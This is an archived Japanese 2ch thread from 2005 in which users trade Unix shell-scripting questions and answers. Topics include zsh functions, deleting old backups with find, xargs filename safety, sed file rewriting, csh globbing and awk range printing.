564 :名無しさん@お腹いっぱい。:05/03/05 22:10:13
今気付いたけど「お答えいただいて結構です」てな凄い言いぐさだな。

565 :555:05/03/05 23:06:11
>>564
すみません。「---という仕様でお教えください」と書けばよかったです。

557さんを始めとするみなさん、join勉強になりました。
確かにnatural joinもあるといいと思いました。

566 :名無しさん@お腹いっぱい。:05/03/06 07:59:07
zshを使ってるんですが、cdした後にlsするのが面倒なのでいっそのこと
$alias cd='cd $1;ls'
としたのですが
$cd hoge
するとhogeには移動せずにhogeの中身をlsしやがります。ちなみに
$alias cd='cd $1;ls;'
して
$cd hoge
するとhogeに移動するけど ~/の中身をlsしやがります。
なんでですか。

567 :名無しさん@お腹いっぱい。:05/03/06 08:21:22
>>566
なら初めから zsh のスレに書きたまえ

csh 系とは違って alias に引数を取れないよ。そういうときは関数を使う。
cd () { builtin cd $1; ls }

でも、この場合は関数 chpwd を定義するのが流儀にかなう。

568 :566:05/03/06 16:27:07
>>567
スレ違いにも関わらずレスありがとうございます。
もしかしたらスクリプトではなくaliasの問題かなとうすうす思ってたんですが。
勉強になりました。

569 :名無しさん@お腹いっぱい。:05/03/07 16:39:07
ディレクトリをfindつかって消すスクリプトってどう書いたら簡潔に書けるの?

find . -mtime +4 -type d -exec rm -rf {} \;

で消えてくれないのは仕様?
4日以前のバックアップのディレクトリを消したいんだけど。



570 :名無しさん@お腹いっぱい。:05/03/07 18:34:32
shか bashでやれ。

571 :名無しさん@お腹いっぱい。:05/03/07 20:18:14
-mtime +4
ここが間違ってるから。man 1 findしる。

572 :名無しさん@お腹いっぱい。:05/03/07 22:23:41
-depth つけろというのが根本だろ

573 :名無しさん@お腹いっぱい。:05/03/07 22:24:03
>>571
-mtime +4 は間違ってないよ。
GNU findなら。

574 :572:05/03/07 22:27:02
いやそういう問題じゃないな、これ

575 :名無しさん@お腹いっぱい。:05/03/07 22:31:43
非GNU findでも-mtime +4は使える。

多分、ファイルシステムががNFSマウントと思われ。
NFSの場合、あるディレクトリ以下のファイルを消しても、
それがオープン中だと、本当には消えず、
.nfsXXXX みたいなファイルが残り、
親ディレクトリが消せない。
たとえ rm -rf {} \; しても消えないよ。

576 :名無しさん@お腹いっぱい。:05/03/07 22:33:16
>>573
ごめん、素で勘違いしてた。
GNU findでもBSD findでも同じ。

577 :名無しさん@お腹いっぱい。:05/03/07 22:36:05
>>571=576ですが、読み返したら誤解を招きそうだったので補足。
-mtime +4は正しいです。
>>569ごめん。

578 :名無しさん@お腹いっぱい。:05/03/08 09:28:06
パーミッションだったりして。

579 :569:05/03/08 11:50:47
みなさんありがとう。
環境はSolaris9でUFSです。

rmでなくってlsにしたらちゃんと目的のディレクトリを表示できたんですけ
どrmにしたら消えてくれないんですよね・・・なんでだろ?
ファイルの整理は問題無くできてるけど、ディレクトリが消えてくれないから
tarにして纏めちゃおうかと思ってみたりもしてますw
ディレクトリ以下が2G以上あるんですけどね。


580 :名無しさん@お腹いっぱい。:05/03/08 11:52:54
if 今いるディレクトリにあるファイル($FOO)が存在したら
  rm $FOO

の if の箇所はどう書けばいいのでしょうか?

よろしくお願いします。

581 :名無しさん@お腹いっぱい。:05/03/08 12:13:30
>>580

if [ -f "$FOO" ]; then
rm "$FOO"
fi

ただし、
rm -f "$FOO"
にすればそもそもif文は要らない。

582 :名無しさん@お腹いっぱい。:05/03/08 14:38:19
どうもありがとうございます。
両方で確認しました。

583 :名無しさん@お腹いっぱい。:05/03/09 00:32:43
>>579
find . -mtime +4 -type d -print | xargs rm -rf
でどう?変わらんかな?
# これでOKなら、>>572の-depthでもOKなはずだが...。

584 :583:05/03/09 00:46:08
> # これでOKなら、>>572の-depthでもOKなはずだが...。
でもないや。この部分だけ前言撤回で。スレ汚しすまそ

585 :名無しさん@お腹いっぱい。:05/03/09 08:07:51
>>583
本題には関係ないけど、
find (略) | xargs rm -rf
すると、
findで見つかったファイル名の中に、
「hoge . hoge」みたいに、
<space>.<space>を含むファイル名があると、
rm -rf . が実行されてしまうのでvery危険。

なので、おれはxargsは使わない派。

586 :名無しさん@お腹いっぱい。:05/03/09 08:23:30
-print0

587 :名無しさん@お腹いっぱい。:05/03/09 08:40:03
% man xargs
OPTIONS
--null, -0
Input filenames are terminated by a null character
instead of by whitespace, and the quotes and back-
slash are not special (every character is taken
literally). Disables the end of file string, which
is treated like any other argument. Useful when
arguments might contain white space, quote marks,
or backslashes. The GNU find -print0 option pro-
duces input suitable for this mode.

588 :名無しさん@お腹いっぱい。:05/03/09 09:00:21
findの-print0や、
xargsの-0は、
GNU find, GNU xargsでしか使えないんだよ。

589 :名無しさん@お腹いっぱい。:05/03/09 09:21:18
GNUマンセー

590 :名無しさん@お腹いっぱい。:05/03/09 09:23:48
>>588
FreeBSD の man だと以下なので, posix 準拠な OS の場合は
xargs -0 は使えそうだが...

man xargs
-0 Change xargs to expect NUL (``\0'') characters as separators,
instead of spaces and newlines. This is expected to be used in
concert with the -print0 function in find(1).
STANDARDS
The xargs utility is expected to be IEEE Std 1003.2 (``POSIX.2'') compli-
ant. The -J, -o, -P and -R options are non-standard FreeBSD extensions
which may not be available on other operating systems.

man find
-print0
This primary always evaluates to true. It prints the pathname of
the current file to standard output, followed by an ASCII NUL
character (character code 0).

STANDARDS
The find utility syntax is a superset of the syntax specified by the IEEE
Std 1003.1-2001 (``POSIX.1'') standard.

All the single character options except -H and -L as well as the -iname,
-inum, -iregex, -print0, -delete, -ls, and -regex primaries are exten-
sions to IEEE Std 1003.1-2001 (``POSIX.1'').


591 :名無しさん@お腹いっぱい。:05/03/09 09:47:25
少なくとも{Free,Open,Net}BSDでは使えるな

592 :名無しさん@お腹いっぱい。:05/03/09 13:10:15
質問元です。Solarisは該当するオプションはなさそうです。Installしてもいいんですけど、もうちょっと考えてみますね。

593 :名無しさん@お腹いっぱい。:05/03/09 13:15:28
素直に xargs -i rm -rf {} すればイイんじゃないのかね。


594 :名無しさん@お腹いっぱい。:05/03/09 16:00:39
問題になりそうなファイル名のファイルがなかったら
気にしなくてもよいかと。

595 :名無しさん@お腹いっぱい。:05/03/10 16:46:57
シェルスクリプトのことをシェルってゆー人が多いのが不思議です。


596 :名無しさん@お腹いっぱい。:05/03/10 16:47:53
携帯電話をケータイって言うようなもんだ

597 :名無しさん@お腹いっぱい。:05/03/10 16:49:02
携帯電話を電話って言うようなもんだ

598 :名無しさん@お腹いっぱい。:05/03/10 18:28:44
JavaScriptをJavaって言うようなもんだ

599 :名無しさん@お腹いっぱい。:05/03/10 18:33:21
シェルスクリプトはシェルが実行するが、
JavaScriptはJava(VM)が実行するわけじゃない。


600 :名無しさん@お腹いっぱい。:05/03/10 18:34:04
PerlスクリプトをPerlって言うようなもんだ。


601 :名無しさん@お腹いっぱい。:05/03/10 18:44:45
rubyスクリプトをrubyって言うようなもんだ。

602 :名無しさん@お腹いっぱい。:05/03/10 19:01:05
もういいから。

603 :名無しさん@お腹いっぱい。:05/03/10 19:57:49
ポストスクリプトをポストって言うようなもんだ。

604 :名無しさん@お腹いっぱい。:05/03/10 20:14:47
ポストスクリプトをポストって言うようだなもん。

605 :名無しさん@お腹いっぱい。:05/03/10 21:09:09
ポストスクリプトをポストって言ううなだよもん。


606 :名無しさん@お腹いっぱい。:05/03/11 02:58:52
NullPointerExceptionをヌル(ry

607 :名無しさん@お腹いっぱい。:05/03/11 03:04:17
ガッを力"(ry

608 :名無しさん@お腹いっぱい。:05/03/11 08:36:32
send + more = money
を解いてください。

609 :名無しさん@お腹いっぱい。:05/03/11 14:14:21
>>608
ググった方が早い。答えどころか、解くためのプログラムもでてるし。

610 :名無しさん@お腹いっぱい。:05/03/11 14:24:52
>>608
【解答】パズルのプログラミング【作成】
http://hobby5.2ch.net/test/read.cgi/puzzle/1092459010/

611 :名無しさん@お腹いっぱい。:05/03/11 16:46:53
>>609-610
シェルスクリプトでは無理ですか?

612 :名無しさん@お腹いっぱい。:05/03/11 18:11:21
シェル変数に入れてexprしまくればできるんじゃない?
bash限定なら (( 算術式 )) 使いまくれば高速かも。

613 :名無しさん@お腹いっぱい。:05/03/11 18:19:36
/home/test以下にある幾つかのシェルスクリプトから文字列1・文字列2・文字列3を削除
したく思い、下記のようなスクリプトを作成したのですが、何故か文字列3しか削除されま
せん。
文字列1・2・3ごとにそれぞれ3つのスクリプトを作成し、順番に実行すると文字列1が削除
できた後に文字列2を削除するスクリプトを流すと文字列1が復活して文字列2が削除され
てしまいます。
何が悪いのでしょうか?教えて下さい

#!/bin/sh

for i in *.sh
do
sed -e "s/文字列1//g" $i > /home/test/$i
done


for i in *.sh
do
sed -e "s/文字列2//g" $i > /home/test/$i
done


for i in *.sh
do
sed -e "s/文字列3//g" $i > /home/test/$i
done

614 :名無しさん@お腹いっぱい。:05/03/11 18:33:48
$iから読んでいながら、$i(/home/test/$i)に書いてもいるのが悪いと思う。

615 :613:05/03/11 19:44:06
>>614
レス有難うございます。
何となくそれが理由っぽいですね。

このように、ある文字列を複数のファイルから削除したい場合はどんな方法が良いので
しょうか?

616 :名無しさん@お腹いっぱい。:05/03/11 20:08:21
ファイルを加工する時は、別のファイルに出力して最後にファイル名を付け替えるのが常道。
テンポラリファイルの名前を作るのに$$(=シェルのプロセスID)を使ったりとか。

617 :名無しさん@お腹いっぱい。:05/03/11 20:09:26
>>614
同じファイルだと空っぽになるだろう。
>>613
> /home/test以下にある幾つかのシェルスクリプトから
といいながら別のディレクトリで作業してると思われ。

618 :名無しさん@お腹いっぱい。:05/03/11 20:19:27
>>615
言ってることとやってることが違うようだが、
sed のスクリプトをまとめれば欲しい結果になるんじゃないのか?

sed 's/文字列1//g;s/文字列2//g;s/文字列3//g' $i > /home/test/$i

619 :名無しさん@お腹いっぱい。:05/03/11 20:27:06
>>615
まあ常套手段としては、読み込み元を〜.origとか付加してリネームしてから、
オリジナルのファイル名に書き出すな。
丁寧にやるなら、〜.newとかに書き出して、書き出し成功(-fなどで存在確認)
したら、オリジナルを〜.origにリネームするなり削除するなりしてから
〜.newを元のファイル名に戻すとか。
#!/bin/sh
fl=/home/test/*.sh
for i in $*
do
for j in $fl
do
sed -e "s/$i//g" $j > $j.new
if [ -f $j.new ]
then
#オリジナルを残す場合
mv $j $j.orig
# オリジナルを削除する場合
# rm $j
mv $j.new $j
fi
done
done

で、sh hoge 文字列1 文字列2 文字列3・・・ とか。
あとは/tmpとかに書き出して上書きして戻すとか。

620 :名無しさん@お腹いっぱい。:05/03/11 20:29:28
最近思い付いた技だがどうよ
shar * | sed '/^X/s/hoge/moge/g/' | sh

621 :名無しさん@お腹いっぱい。:05/03/11 20:42:19
>>611
できたよ。m=1,o=0はとりあえず決め打ちで $(( )) だと30秒、exprだと4分かかるのが。

622 :名無しさん@お腹いっぱい。:05/03/11 20:46:59
shar って初めて知ったよ。なかなか面白いね。

623 :名無しさん@お腹いっぱい。:05/03/12 04:26:46
/bin/shellのソースってどこらへんから落とせばよいでしょうか。
プロセス制御まわりを読みたいだけなのでbashとかじゃなくて
簡単・短いやつを探しています。
どっかでcvswebとかで公開してないでしょうか。

624 :名無しさん@お腹いっぱい。:05/03/12 07:54:38
/bin/shellって、/bin/shのこと?
ashでよければ、 http://www.freebsd.org/cgi/cvsweb.cgi/src/bin/sh/ かな。


625 :名無しさん@お腹いっぱい。:05/03/12 12:05:18
>>>624
半分寝ながら書いてたのでボケてました。
アリガトです。

626 :名無しさん@お腹いっぱい。:05/03/12 13:20:16
>>623
V7 sh
ttp://minnie.tuhs.org/UnixTree/V7/usr/src/cmd/sh/
特に mac.h は必見。

627 :名無しさん@お腹いっぱい。:05/03/12 13:44:02
>>626
プロセス制御まわりはないとおもうぞ.


628 :名無しさん@お腹いっぱい。:05/03/12 13:59:30
>>623 の言う「プロセス制御」が、ジョブコントロールのことなら、
元祖Bourne Shellにはジョブコントロールは無い。
ashにはジョブコントロールがあるので、手頃に小さいソースなら、
ashが適してるかな。

629 :名無しさん@お腹いっぱい。:05/03/12 14:16:48
>>628
ジョブコントロール元祖の csh の方が(ry


630 :名無しさん@お腹いっぱい。:05/03/12 22:54:01
script コマンドをスクリプト内で使って
そのまま処理するのって無理?

script


631 :名無しさん@お腹いっぱい。:05/03/12 22:55:15
script コマンドをスクリプト内で使って
そのまま処理するのって無理?

#!/bin/sh
script
 #保存中
 echo 処理結果
 #保存抜ける
XXX



632 :名無しさん@お腹いっぱい。:05/03/12 22:56:47
630-632 連投ゴメン
こんな処理は可能ですか?
XXXは scriptコマンド終わらせる何かを…

633 :名無しさん@お腹いっぱい。:05/03/12 23:31:48
find の -exec に関数を使いたいんですけど,実行すると

find: ff: No such file or directory

というエラーになります。できればスクリプトファイルを
分けずに処理したいのですが,良い方法があったら教えて
くださいませ。

#!/usr/bin/bash
#GNU bash, version 2.05b.0(1)-release (i686-pc-cygwin)
function ff ()
{
        echo $1
}
export -f ff
find . -true -exec ff {} \;

上記は記述例です。echo したい訳ではないです。

634 :名無しさん@お腹いっぱい。:05/03/12 23:49:11
>>633
本質的に-execにシェルの関数は使えません。
findからさらに子プロセスを起こすわけだから。

find -printした結果のパス群をwhile readで受け、そのループ内で
関数を呼び出すというのは解法の一つかと思います。

635 :名無しさん@お腹いっぱい。:05/03/12 23:51:59
-exec 内で function 定義するという愚直な方法もあるね。

636 :名無しさん@お腹いっぱい。:05/03/13 00:35:38
list=`find . -true`
for i in $list
do
ff $i
done
とか

637 :名無しさん@お腹いっぱい。:05/03/13 00:51:29
>>631
script hoge

638 :名無しさん@お腹いっぱい。:05/03/13 16:23:37
>>634, >>636
THX

639 :637:05/03/13 20:13:33
>>637は間違い。正しくは
SHELL=hoge script

640 :名無しさん@お腹いっぱい。:05/03/16 23:32:30
識者のみなさん質問させてください。
csh でワイルドカードを認識して処理させるにはどうしたら良いでしょうか?

たとえば
> ls
AAA/ AA7/ AAA/ AAC/
AB9/ BGS/ BBF/ DDD/
DEF/ EEE/ EEG/ GGG/

というフォルダがあったとします。
ここでhogehoge というスクリプトを作って

hogehoge A* で
AAA/ AA7/ AAA/ AAC/ AB9/
hogehoge A?A で
AAA/ AAA/ AAC/
の配下に存在するファイルを編集するといった事が目的です。

------hogehoge.csh
#!/bin/csh -f
set folder = "`ls $1`"
echo $folder
-------

> hogehobe.csh A?A
> AAA/ AAA/ AAC/

となってくれれば良いのですが、
no match
となってしまいます。お知恵をお貸しくださいませm(*-*)m

641 :640:05/03/16 23:37:56
すいなせん。思いっきりまちがえました
> ls
AAA/ AA7/ AA9/ AC9/
AB9/ BGS/ BBF/ DDD/
DEF/ EEE/ EEG/ GGG/

てフォルダがあって

> hogehobe.csh A?9
> AA9/ AC9/ AB9/

といったことがやりたいです。説明下手ですいません。




642 :名無しさん@お腹いっぱい。:05/03/16 23:57:33
フォルダか…

643 :名無しさん@お腹いっぱい。:05/03/17 00:15:52
>>640
ワイルドカードを誰が展開してるのか

644 :名無しさん@お腹いっぱい。:05/03/17 00:19:37
おれおれ。

645 :640:05/03/17 00:28:03
>>643
ん?直訳するとC-SHELLでは不可能ということなのですか?
すいません知識不足なもので。

646 :名無しさん@お腹いっぱい。:05/03/17 00:30:30
>>641
echo A?9

647 :名無しさん@お腹いっぱい。:05/03/17 00:36:33
>>640 >>645
#!/bin/csh
echo $#
ってスクリプトを実行してみるといいと思う。

648 :名無しさん@お腹いっぱい。:05/03/17 00:49:23
#!/bin/csh
echo $#argv


649 :640:05/03/17 01:09:03
>>643-648
みなさん短時間に沢山のレスありがとうございます!

#!/bin/csh
echo $#argv
hogehoge.c A?9
とやってみたら
> 3
だと!そして
#!/bin/csh
echo $#argv
echo $argv[1]
echo $argv[2]
echo $argv[3]
echo $1
echo $2
echo $3
だと
hogehoge.c A?9
> 3
> AA9
> AB9
> AC9
> AA9
> AB9
> AC9
!!おお!!勝手にむちゃくちゃ感動してますw
ありがとうごさいました!m(*-*)m


650 :名無しさん@お腹いっぱい。:05/03/19 14:30:20
特定の文字列がある行から文字列までを表示するいい方法はありませんでしょうか?

例えばfoo、barの間

foo
aaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa
bar

というファイルの aaaaaaaaaa を表示したいのです。


651 :名無しさん@お腹いっぱい。:05/03/19 14:32:56
sgrep

652 :名無しさん@お腹いっぱい。:05/03/19 14:50:42
awk '/foo/{p=1;next} /bar/{p=0} /.*/{if(p==1){print $0}}' file
とか。
この場合再びfooが現れたらまた表示し始めるが、一回で終わらせたければ
awk '/foo/{p=1;next} /bar/{exit} /.*/{if(p==1){print $0}}' file

fooの行を表示に含めたい場合はnextを外す。
barの行を表示に含めたい場合は/bar/のルールを一番後ろに持ってくる。


653 :名無しさん@お腹いっぱい。:05/03/19 15:12:33
sgrepがあればいいんだけど、漏れは次のようなスクリプトを $HOME/bin に投げ込んでいる。

#例外処理と拡張機能は省略
start=$1
end=$2
read_flag=0

while read line; do
if [ "$read_flag" = 1 -a "$end" = "$line" ]; then
read_flag=0
break
fi
if [ "$read_flag" = 1 ]; then
echo $line
fi
if [ "$start" = "$line" ]; then
read_flag=1
fi
done


654 :名無しさん@お腹いっぱい。:05/03/19 15:14:49
sed '/^foo$/,/^bar$/p;d' <file> | sed '/^foo$/d' | sed '/^bar$/d'


655 :654:05/03/19 15:26:16
あ、表示したい文字列の中に開始文字列が含まれてたらダメだな。

656 :名無しさん@お腹いっぱい。:05/03/19 15:48:14
シェルスクリプト修行中の身なのですが、
時々、${1+"$@"} というのを見掛けますが、これって何でしょうか?
何故単に "$@" と書かずにこう書くのでしょう?
そもそも { } の中の「1+」って?そんな書き方があるのでしょうか?
(エラーにならないということはあるのでしょうが…)

Google先生は記号の検索はできないみたいで困ってます。
ヒントを頂けないでしょうか?

657 :名無しさん@お腹いっぱい。:05/03/19 16:27:39

常識も無いのかよ、クズが

658 :名無しさん@お腹いっぱい。:05/03/19 16:59:41
>>656
${parameter:+word} で parameter が 1,2,... の時の省略形
あとは man sh すれば書いてあるはず.


659 :656:05/03/19 17:09:52
>>657
すみません。もっと勉強します

>>658
> parameter が 1,2,... の時の省略形
ありがとうございます。すっきりしました。
聞いてみてよかったです

660 :名無しさん@お腹いっぱい。:05/03/19 17:11:30
連番ファイル (A.000 A.001 A.002〜A.023) を結合して A.DAT にしたいんですが
foreachなりforって必ずファイル名の若い順に処理されると決まってるんでしょうか?

それともファイル名のソートは自分でちゃんと行わないとダメですか?

foreachで (a*.dat) で引っかかるファイルをcatで結合させるスクリプトを

661 :名無しさん@お腹いっぱい。:05/03/19 17:48:53
cat $(ls -1 A.0??|sort) > A.DAT

662 :650:05/03/20 00:27:04
ありがとう。参考にさせていただきます。 sgrepなんて初めて聞きました


663 :名無しさん@お腹いっぱい。:05/03/20 11:22:24
>>650
別解として
printf '/foo/+;/bar/-p' | ex -sR file

664 :名無しさん@お腹いっぱい。:05/03/20 11:23:51
あ、ごめん。最後に\nがいるわ。

665 :名無しさん@お腹いっぱい。:2005/03/21(月) 10:38:28
乱数を発生させる方法ってある?
いい加減なのでいい。
zsh 不可。

666 :665:2005/03/21(月) 10:41:29
www.faqs.org/faqs/unix-faq/

echo $RANDOM
を見つけたけど、range を指定できると嬉しいんだけどなぁ…

667 :名無しさん@お腹いっぱい。:2005/03/21(月) 11:31:56
>>665
/dev/urandomを使う。ddで読んでmd5にでも渡す。


668 :名無しさん@お腹いっぱい。:2005/03/21(月) 17:48:00
>>666
余りをとるとか

669 :名無しさん@お腹いっぱい。:2005/03/21(月) 18:03:34
なんで/dev/にあるんだろう
理解不能

670 :名無しさん@お腹いっぱい。:2005/03/21(月) 18:10:15
/dev/random は環境ノイズのみで
/dev/urandom は数学的に計算した乱数も返すことがある

だっけ?

671 :名無しさん@お腹いっぱい。:2005/03/21(月) 18:13:48
>>669
他に適任な場所がなかった
ぶっちゃけ何処でも良かった
今は反省している

672 :名無しさん@お腹いっぱい。:2005/03/21(月) 19:36:26
>>656
${1+"$@"}と書く必要はない。
"$@"でじゅうぶん。
${1+"$@"}の意図は、パラメータの個数がゼロの場合に、
空文字列にすら展開させないようにするためと思われるが、
"$@"と書いても、空文字列には展開されず、
何もなかったものと同じになる。
${1+"$@"}と書くのは恐らく、超古いシェルのバグかその辺に対応するためと思われる。
"$@"
でよろし。

673 :656:2005/03/21(月) 21:24:06
>>672
ありがとうございます

674 :名無しさん@お腹いっぱい。:2005/03/21(月) 21:39:55
ところで、${1+"$@"}と書かなければならない(引数なしの時、空文字列が残る)
シェルのバージョンってどの辺?

675 :名無しさん@お腹いっぱい。:2005/03/21(月) 23:44:29
でも csh で動かされると、${1 + "$@"} って動かねぇよな。

170 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)